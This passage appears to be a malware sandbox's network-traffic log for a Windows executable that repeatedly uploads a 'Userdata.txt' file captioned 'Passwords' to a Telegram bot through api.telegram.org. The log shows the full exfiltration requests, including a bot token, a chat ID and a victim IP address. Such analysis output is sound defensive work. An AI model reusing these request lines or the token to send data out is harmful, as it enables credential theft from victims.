2025-01-10 21:14:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 35 65 35 39 39 36 37 38 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3205e599678fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:35 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:35 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43559,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543675,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49984	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:37 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd321be47d524a Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 62 65 34 37 64 35 32 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd321be47d524aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:37 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:37 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43560,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543677,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49986	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:39 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32332e7fb6a5 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 33 32 65 37 66 62 36 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32332e7fb6a5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:39 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:40 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43561,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543679,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49988	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:41 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32464c377f16 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 36 34 63 33 37 37 66 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32464c377f16Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:41 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:41 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43562,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543681,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49990	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:43 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd325ab7612621 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:43 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 61 62 37 36 31 32 36 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd325ab7612621Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:43 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:43 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43563,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543683,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49992	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:45 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32706e536ece Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 30 36 65 35 33 36 65 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32706e536eceContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:45 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:45 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43564,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543685,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49994	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:46 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3284b98947fb Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 34 62 39 38 39 34 37 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3284b98947fbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:47 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:47 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43565,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543687,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49996	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:48 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd329cff2c8b35 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:14:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 63 66 66 32 63 38 62 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd329cff2c8b35Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:49 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
